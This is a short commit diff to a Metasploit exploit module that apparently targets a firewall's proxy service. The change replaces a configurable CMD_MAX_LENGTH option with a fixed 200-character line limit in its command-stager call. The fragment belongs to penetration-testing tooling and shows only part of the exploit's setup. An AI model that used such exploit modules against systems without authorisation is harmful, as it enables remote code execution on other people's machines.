Use static max length
parent
1ebc25092f
commit
adcd3c1e29
|
@ -99,7 +99,6 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Valid proxy account username for the target system']),
|
||||
OptString.new('EFW_PASSWORD', [true,
|
||||
'Valid password for the proxy user account']),
|
||||
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 200]),
|
||||
OptString.new('RPATH', [true,
|
||||
'Target PATH for binaries used by the CmdStager', '/bin'])
|
||||
], self.class)
|
||||
|
@ -120,8 +119,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
"please select a native payload")
|
||||
end
|
||||
|
||||
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'],
|
||||
:nodelete => true)
|
||||
execute_cmdstager(:linemax => 200, :nodelete => true)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
|
|
Loading…
Reference in New Issue